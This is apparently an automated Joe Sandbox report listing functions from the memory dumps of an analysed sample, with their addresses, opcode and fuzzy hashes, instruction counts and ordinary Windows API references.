Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07e962e372034c90b8311a2e68ada87d4ebaeb94cc324b36b10f4c02993e09f3
Instruction ID: b080b645961bfcf77e759fae24f379315a1e49ea0d1dda88de399f4f68ce21a6
Opcode Fuzzy Hash: 07e962e372034c90b8311a2e68ada87d4ebaeb94cc324b36b10f4c02993e09f3
Instruction Fuzzy Hash: D2323F70E002189FEB64DFB9D8507AEB7F2FF84300F14856AD509AB395DA34AD45CB91

Function 04BFF00F Relevance: .6, Instructions: 597COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1252134939.0000000004BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bf0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 729d10dbd8a5f363daf19ed9041534fc1f2bea123d869347f01b31df0ea1477a
Instruction ID: 4f2e288b9aa17c3fdf4a5f5092c42226e7e23bc2a7f0b7bec68fe5ca1955ed27
Opcode Fuzzy Hash: 729d10dbd8a5f363daf19ed9041534fc1f2bea123d869347f01b31df0ea1477a
Instruction Fuzzy Hash: 74526D34A007458FDB14DF28C844B99B7B2FF89314F2582E9D5586F3A2DB71A986CF81

Function 04BF8664 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1252134939.0000000004BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bf0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf202b0da8ed9723126b87efd057d10958f7c0fce0866a8efd90e4a70af61148
Instruction ID: 6fbf656a9ef966db9da80585d7c6f210d1742d7ff7a36454dece97a4d2e544a2
Opcode Fuzzy Hash: bf202b0da8ed9723126b87efd057d10958f7c0fce0866a8efd90e4a70af61148
Instruction Fuzzy Hash: 5E524D34A007058FDB14DF28C844B99B7B2FF89314F2586E9D5586F3A2DB71A986CF41

Function 04BFF100 Relevance: .6, Instructions: 576COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1252134939.0000000004BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bf0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ada8e4d2c7fafd374a75178d7cd4275c5beb76ee56cc60547f34ccec105f62c
Instruction ID: 0a6eee03785e7fcffdc7f5c3cb6764f3f40b5db9514b785c0851926428dca587
Opcode Fuzzy Hash: 3ada8e4d2c7fafd374a75178d7cd4275c5beb76ee56cc60547f34ccec105f62c
Instruction Fuzzy Hash: C2526E34A007058FDB14DF28C844B99B7B2FF89314F2586E9D5586F3A2DB71A986CF41

Function 06D051F5 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 603352d4b1afd64ba788f6788d547563513269940dce0386b44aa243e4a0ce22
Instruction ID: 1cd0768aaa3ec829b88e6d420993a511c92bba9bcf106f2367cf6c74785016ef
Opcode Fuzzy Hash: 603352d4b1afd64ba788f6788d547563513269940dce0386b44aa243e4a0ce22
Instruction Fuzzy Hash: 9AC14C30D002589FEBA5DFA9D88079DBBB1EF89300F14C1A9D859AF295D770E985CF90

Function 06D06EE8 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4721c4971a2b615baee2f35b47c1a8982f3c97ab5bd75fad7884156eddc6d8be
Instruction ID: 9229ad36fca0affd5ecd665f2af4b19f554297fa22790e2ebb44bc82de7a1dd0
Opcode Fuzzy Hash: 4721c4971a2b615baee2f35b47c1a8982f3c97ab5bd75fad7884156eddc6d8be
Instruction Fuzzy Hash: 70C13C30D002189FEF65DFA5D88079DBBB2EF88300F14C1A9D859AB295D770E985CF90

Function 06D0E760 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c68ed3dd928c2400be3146e84543fc4f68618989d300b033c1ecd5450edcbf80
Instruction ID: 65b1af655aa109ed04e1580d616bf2de6199687479d8b8531e033d08b0b69ea3
Opcode Fuzzy Hash: c68ed3dd928c2400be3146e84543fc4f68618989d300b033c1ecd5450edcbf80
Instruction Fuzzy Hash: 2921B5B1D046188BEB68CFABD94079EFBF6BFC8300F14C46AC458A7255EB7459468F90

Function 06D0E770 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f89167f1b7127134182fd34663d3fa488473f85982819b528b9a5aa1b205aede
Instruction ID: 8c2b8f58aca9766f13c5be3cb95cb9031c61a2e13767c5bb814701002a6e2b12
Opcode Fuzzy Hash: f89167f1b7127134182fd34663d3fa488473f85982819b528b9a5aa1b205aede
Instruction Fuzzy Hash: 8921D8B1D046188BEB68CFABD94079EFBF6BFC8300F14C06AC418A7255EB7449468F90

Function 009FD570 Relevance: 6.1, APIs: 4, Instructions: 137
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 009FD5FE
GetCurrentThread.KERNEL32 ref: 009FD63B
GetCurrentProcess.KERNEL32 ref: 009FD678
GetCurrentThreadId.KERNEL32 ref: 009FD6D1

Memory Dump Source

Source File: 00000000.00000002.1246179678.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_kP8EgMorTr.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f2fcc127aba743f6fb1cbfd3c14e93a810177349926c976e27aba949f01e0c41
Instruction ID: 53ea91d522e3c075b2d68fadbf6cc75782dafac60c543c5133a13b2dbbb630cf
Opcode Fuzzy Hash: f2fcc127aba743f6fb1cbfd3c14e93a810177349926c976e27aba949f01e0c41
Instruction Fuzzy Hash: 665177B0D01349DFEB14CFAAD548BAEBBF1EF88304F248459E108AB351D7746845CB66

Function 009FD580 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 009FD5FE
GetCurrentThread.KERNEL32 ref: 009FD63B
GetCurrentProcess.KERNEL32 ref: 009FD678
GetCurrentThreadId.KERNEL32 ref: 009FD6D1

Memory Dump Source

Source File: 00000000.00000002.1246179678.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_kP8EgMorTr.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 28b3582edda7f3c0f014efc15eecf255b7202a1a6fa8cce88cd540b65af52cb4
Instruction ID: 79551d16efb2fbd1ec81512603655f68ef0dbbd57695bcbdb4ffdba5d1d111c4
Opcode Fuzzy Hash: 28b3582edda7f3c0f014efc15eecf255b7202a1a6fa8cce88cd540b65af52cb4
Instruction Fuzzy Hash: 9B5155B0D01709CFEB24DFAAD648BAEBBF1EB88304F208459E109AB350D7745944CB66

Function 009FB2DF Relevance: 1.7, APIs: 1, Instructions: 209
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 009FB546

Memory Dump Source

Source File: 00000000.00000002.1246179678.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_kP8EgMorTr.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ebe686152f3eb003c81d25012c603972acffff8ecfe016a11571a7faca6a07ad
Instruction ID: fef87e47286737419ab3504a93e8c1318b077b384c0392c6ca79d38cae0334b8
Opcode Fuzzy Hash: ebe686152f3eb003c81d25012c603972acffff8ecfe016a11571a7faca6a07ad
Instruction Fuzzy Hash: 4F818870A00B098FD724CF69D5517AABBF5FF88300F00892EE58AC7A51D774E806CB91

Function 009F590D Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 009F59C9

Memory Dump Source

Source File: 00000000.00000002.1246179678.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_kP8EgMorTr.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 34ce465e170d1483eb2bf4e8d3cddc6476738f637f4ac4b399885b18bc11c15b
Instruction ID: c5b4ffa92b4d4a7d94f5b14fa6154f0c8450ff159a60d0dfd476bb6b0bb7bd4d
Opcode Fuzzy Hash: 34ce465e170d1483eb2bf4e8d3cddc6476738f637f4ac4b399885b18bc11c15b
Instruction Fuzzy Hash: 0841EF71C0071DCFEB24DFA9C884B9DBBB6BF49304F24816AD508AB251DB756946CF90

Function 009F44B4 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 009F59C9

Memory Dump Source

Source File: 00000000.00000002.1246179678.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_kP8EgMorTr.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 0ee029a88fb394bd561fe32f92dfeb4b6a65d432913af6679ce919d9fcf4620a
Instruction ID: 24870b03d8de0c27a2e8b402e735b84e518039171e58733b07c1d93426ec488b
Opcode Fuzzy Hash: 0ee029a88fb394bd561fe32f92dfeb4b6a65d432913af6679ce919d9fcf4620a
Instruction Fuzzy Hash: 9941D070C0071DCBEB24DFA9C884B9EBBB5BF49304F20816AD508AB251DB756946CF90

Function 06D07820 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 7fc4554f12635669bd1e0ed0423dcc4c99987fbeeeb975e81f4030ce10ac66af
Instruction ID: ff7e8560d3de83a5834359babb2e8b4721edb7e01dfc7fa4f25ede908c5a0e3b
Opcode Fuzzy Hash: 7fc4554f12635669bd1e0ed0423dcc4c99987fbeeeb975e81f4030ce10ac66af
Instruction Fuzzy Hash: C9317872900389DFDB11DFA9C944BEABFF4EF09310F14845AE954AB261C33A9854DFA1

Function 06D05B08 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,06D05AF5,?,?), ref: 06D05BA7

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 9942cee9babd3b759f1ab506ee2f5484292678d2ddf1ededd52d966247431f34
Instruction ID: 8eeb29adc3e8c7964ba1f03e6bb2e7e40155e7c6a37ce085edb39e003dfa1582
Opcode Fuzzy Hash: 9942cee9babd3b759f1ab506ee2f5484292678d2ddf1ededd52d966247431f34
Instruction Fuzzy Hash: B631E5B5D012499FDB10CF9AE980ADEFBF4FB48310F14842AE918A7350D775A544CFA0

Function 06D050DC Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,06D05AF5,?,?), ref: 06D05BA7

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 1c499d55c88151e7edf9b1d9a628dacbd7d9d7a3c861a0e7b85c60271161fbcd
Instruction ID: c9c785c3c69733b1276769c394e90bf510517c9ea1a3365a9bc94ddb03a1d64c
Opcode Fuzzy Hash: 1c499d55c88151e7edf9b1d9a628dacbd7d9d7a3c861a0e7b85c60271161fbcd
Instruction Fuzzy Hash: 9431E2B5D00249AFEB10CF9AD984BDEBBF4FB48210F14842AE819A7350D775A940CFA4

Function 009FD7C0 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 009FD84F

Memory Dump Source

Source File: 00000000.00000002.1246179678.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_kP8EgMorTr.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0415e90211772eae59a6d4edd6d184500ce3e50ea3913a68af9a89406f204918
Instruction ID: ca31c2cc04b8b682519c8bcf4dffb3400077286d833deef9cff3b6b7eb874769
Opcode Fuzzy Hash: 0415e90211772eae59a6d4edd6d184500ce3e50ea3913a68af9a89406f204918
Instruction Fuzzy Hash: F321F4B5C01248AFDB10CFAAD584AEEBFF5EB48310F14841AE954A7310D375A945CF60

Function 04BF4E50 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32(?,?,00000002), ref: 04BF4ECF

Memory Dump Source

Source File: 00000000.00000002.1252134939.0000000004BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bf0000_kP8EgMorTr.jbxd

Similarity

API ID: FromMonitorPoint
String ID:
API String ID: 1566494148-0
Opcode ID: 9bcdc6c7190ee9daa1ea162c8bb89ec2c68b9cec00604548420e2433b8d2bc4d
Instruction ID: d6f314bd84e1aef7a6b9dd00415bfa9ddb7fb793bf2015c1ddd0ed8dd087ba22
Opcode Fuzzy Hash: 9bcdc6c7190ee9daa1ea162c8bb89ec2c68b9cec00604548420e2433b8d2bc4d
Instruction Fuzzy Hash: 69215E75D002489FDB20DF99D405BAEBBF5FB58310F108419E959B7340D735AA48CFA1

Function 009FD7C8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 009FD84F

Memory Dump Source

Source File: 00000000.00000002.1246179678.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_kP8EgMorTr.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5956a024b452dbb399c1b5e6c0c867322aab6ec156a16ccd74f756d25c002f1d
Instruction ID: e9670bdf66149e781e9972d92429453e171d7689bb68f00b11108f80dcd94839
Opcode Fuzzy Hash: 5956a024b452dbb399c1b5e6c0c867322aab6ec156a16ccd74f756d25c002f1d
Instruction Fuzzy Hash: 8321E4B5D01248EFDB10CF9AD584ADEBBF9FB48320F14841AE918A7350D379A940CF65

Function 04BF4E41 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32(?,?,00000002), ref: 04BF4ECF

Memory Dump Source

Source File: 00000000.00000002.1252134939.0000000004BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bf0000_kP8EgMorTr.jbxd

Similarity

API ID: FromMonitorPoint
String ID:
API String ID: 1566494148-0
Opcode ID: 5f410fb1a001761df1f7a9b32abd3db6804833cc16276be9b23e4cf3bfe22658
Instruction ID: 37a0d95a28699812b449a5b029d4f44a3b33309d6d9c3237af112be98c2acef5
Opcode Fuzzy Hash: 5f410fb1a001761df1f7a9b32abd3db6804833cc16276be9b23e4cf3bfe22658
Instruction Fuzzy Hash: 9C216DB5D003489FDB11DF99D504BAEBBB0FB48310F108459E959B7380D734AA44CFA1

Function 06D05244 Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,06D0783A,?,?,?,?,?), ref: 06D078DF

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 60d7ce16a2dfb28095b57324ebde3eed90002995aac86d11034e397fa33880cb
Instruction ID: 2ff7f870a05b5daaffb44857f5535db8439e54e135c9183d3e995141253e527c
Opcode Fuzzy Hash: 60d7ce16a2dfb28095b57324ebde3eed90002995aac86d11034e397fa33880cb
Instruction Fuzzy Hash: E9115972800349DFEB20CFAAC844BDEBBF8EB48310F14841AE954A7250C375A950DFA4

Function 009FB4E0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 009FB546

Memory Dump Source

Source File: 00000000.00000002.1246179678.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_kP8EgMorTr.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 8384b06d85f11107177b6db95a7cd1e9f5c629ac370d0264a8100c74ff9401df
Instruction ID: 96e5a2d2e41bd1f6e7734962d4f4a8fa7cfbf68c7234d31e3b50aa1d0c08213f
Opcode Fuzzy Hash: 8384b06d85f11107177b6db95a7cd1e9f5c629ac370d0264a8100c74ff9401df
Instruction Fuzzy Hash: 7E110FB6C002498FDB20CF9AD444ADEFBF8EB88310F10842AD518A7600C379A545CFA1

Function 04BF32EC Relevance: 1.3, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,04BF3DA9,?,?), ref: 04BF3F50

Memory Dump Source

Source File: 00000000.00000002.1252134939.0000000004BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bf0000_kP8EgMorTr.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d523c7b5ea3f4414d048a53139db812efecec8b580ca6ad6a84ebf30a71d8db8
Instruction ID: 5b0f6fca9f52813a1b3be99a169718d26e15cfa69ce993870d86bf0f79ecd11f
Opcode Fuzzy Hash: d523c7b5ea3f4414d048a53139db812efecec8b580ca6ad6a84ebf30a71d8db8
Instruction Fuzzy Hash: 6F1155B2800349DFDB20DF9AC444BDEBBF4EB48320F108469E958A7340D339A944CFA5

Function 04BF3EF1 Relevance: 1.3, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,04BF3DA9,?,?), ref: 04BF3F50

Memory Dump Source

Source File: 00000000.00000002.1252134939.0000000004BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bf0000_kP8EgMorTr.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 6265a4d3917e97b8e45328b716dc2e7680eca05f2053299e84bc7d99dd708a88
Instruction ID: ea465937f9bd0fab48b53b8b0ae3d3b9ea156dc98abb21691c7741cc6c8cdd87
Opcode Fuzzy Hash: 6265a4d3917e97b8e45328b716dc2e7680eca05f2053299e84bc7d99dd708a88
Instruction Fuzzy Hash: 481125B6C00249DFDB20DF99D444BEEBBF0EB48320F20845AD958A7740D339A645CFA5

Function 008FD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1245989626.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8fd000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2bf125938f2d2a735d86717d160556e1770b0a857166f5057155cceaefbbf51
Instruction ID: b3210293de26a6ffb5b6e1fbf0ffcc392afbb3cc2dd5f6ea489cc036dc9634ed
Opcode Fuzzy Hash: b2bf125938f2d2a735d86717d160556e1770b0a857166f5057155cceaefbbf51
Instruction Fuzzy Hash: 6E21F472500348DFDB15DF24D9C0B26BB66FB98318F20C569EA054B256C336D856DAA2

Function 0090D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1246024272.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90d000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37336c54d2992a4cdebb6231869d666f9e627b47c370f5d1e6ce3c8b9669e907
Instruction ID: 451b52a4d9557e0edf032363c15ef7671e1425cb7514ef66917472b80daed96d
Opcode Fuzzy Hash: 37336c54d2992a4cdebb6231869d666f9e627b47c370f5d1e6ce3c8b9669e907
Instruction Fuzzy Hash: 6F210471905300EFDB15DFA8D9C0B26BBA5FB84314F20C96DE8094F2D2C33AD846CA62

Function 0090D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1246024272.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90d000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e27c4771285f13ed6b2d2b650fb181d36aa9770dae298ad24771d129f82c67ba
Instruction ID: 4c28ce9ceadf38c62da49d2136f5ee064169966c06bbc730f1a5837acf55574b
Opcode Fuzzy Hash: e27c4771285f13ed6b2d2b650fb181d36aa9770dae298ad24771d129f82c67ba
Instruction Fuzzy Hash: 8921D071604200EFDB14DF64D984B26BBB5EB84314F20C96DE80E4B2D6C33AD847CA62

Function 008FD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1245989626.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8fd000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d9143a8ff6c40554208124bd87d7ebbaad978752f52efe449982275cc027c51
Instruction ID: e2b2a084d918456ca3da9052ea4a6d4347c0e1aaa02a7bf123ce8ed703d971a3
Opcode Fuzzy Hash: 0d9143a8ff6c40554208124bd87d7ebbaad978752f52efe449982275cc027c51
Instruction Fuzzy Hash: 0311E172404284DFCB15CF10D5C0B26BF72FB88314F24C6A9DA094B656C336D85ACBA2

Function 0090D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1246024272.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90d000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e088ad8a07711d9d3566a887b1f888bc4d4e2f61ff705deeaaa2a632ac83149
Instruction ID: 53863cd2ac7a7216f5f9812733733474d91a030eb2296c7bb39c6e764544ede3
Opcode Fuzzy Hash: 9e088ad8a07711d9d3566a887b1f888bc4d4e2f61ff705deeaaa2a632ac83149
Instruction Fuzzy Hash: C3118B75504280DFDB15CF54D5C4B15FBB2FB84314F24C6AAD8494B696C33AD84ACBA2

Function 0090D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1246024272.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90d000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e088ad8a07711d9d3566a887b1f888bc4d4e2f61ff705deeaaa2a632ac83149
Instruction ID: 2850eba3c03e270794edb7d7bdc18945ce8cb2885eaf196c049dba91a71c6390
Opcode Fuzzy Hash: 9e088ad8a07711d9d3566a887b1f888bc4d4e2f61ff705deeaaa2a632ac83149
Instruction Fuzzy Hash: 5611BB76905280DFDB15CF58D5C0B15FBA1FB84314F24C6A9D8494B696C33AD84ACB62

Function 008FD731 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1245989626.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8fd000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1382f9d433974e00a3e81204f187942f323afaa0c9ab66c54b5a2721bfa6fb8a
Instruction ID: e449ecfc711629ff766e349134338edd2f435f04ca798f69ddb291f38488cb85
Opcode Fuzzy Hash: 1382f9d433974e00a3e81204f187942f323afaa0c9ab66c54b5a2721bfa6fb8a
Instruction Fuzzy Hash: 4701F731405348AAE7206A35CD84776BBD9FF40324F24C519EF088F282C2389840CAB2

Function 008FD730 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1245989626.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8fd000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bb59adce40d23bf7c905e5a6d53ea032716345e95024941502c8d1ea7244505
Instruction ID: 111036d8ac26c617334286ba6e5131b390ffb5cb40132215b2e4af7be6e3581e
Opcode Fuzzy Hash: 4bb59adce40d23bf7c905e5a6d53ea032716345e95024941502c8d1ea7244505
Instruction Fuzzy Hash: B7F0C232005384AEE7209A15C984B66FFD8EB90734F28C55AEE084F282C2799844CA71

Non-executed Functions

Function 06D0B678 Relevance: 2.7, Strings: 2, Instructions: 238COMMON

Download Yara Rule

Strings

xbq, xrefs: 06D0B7B8
Teq, xrefs: 06D0BEDF

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: Teq$xbq
API String ID: 0-1834090110
Opcode ID: 008c907ee1add3c13bce75cd666702e61daa8de5bca3692fb41177efcbb1e75e
Instruction ID: 7f51a04827e1d837d07e2548a336fb35261fcaad86c7d6e798e21112494df20e
Opcode Fuzzy Hash: 008c907ee1add3c13bce75cd666702e61daa8de5bca3692fb41177efcbb1e75e
Instruction Fuzzy Hash: 42B17575E006188FDB58DF6AD984ADDBBF2BF88301F14C0AAD509AB365DB305A85CF50

Function 06D0AF91 Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

4'q, xrefs: 06D0B072

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: 5e194d323c784a1ac66df7b6e5038f35b0f322bb19bf78bb4b4ae6c71c2951b7
